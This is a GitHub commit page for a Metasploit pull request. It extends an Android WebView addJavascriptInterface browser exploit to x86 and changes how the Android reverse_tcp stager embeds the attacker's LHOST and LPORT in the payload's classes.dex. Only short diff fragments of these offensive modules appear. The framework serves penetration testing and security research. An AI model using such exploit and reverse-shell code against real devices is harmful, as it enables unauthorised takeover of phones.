Skip to content

Commit f6f9bb8

Browse files
committed
Merge pull request #11 from timwr/android-bins
better string replacement
2 parents 8920e0c + a605580 commit f6f9bb8

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
include Msf::Exploit::Remote::BrowserAutopwn
1212

1313
# Since the NDK stager is used, arch detection must be performed
14-
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE ] # todo: , ARCH_X86 ]
14+
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
1515

1616
# Most android devices are ARM
1717
DEFAULT_ARCH = ARCH_ARMLE

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,8 +36,8 @@ def generate_jar(opts={})
3636

3737
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
3838

39-
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
40-
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
39+
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
40+
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
4141
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
4242
jar.add_file("classes.dex", fix_dex_header(classes))
4343

0 commit comments

Comments
 (0)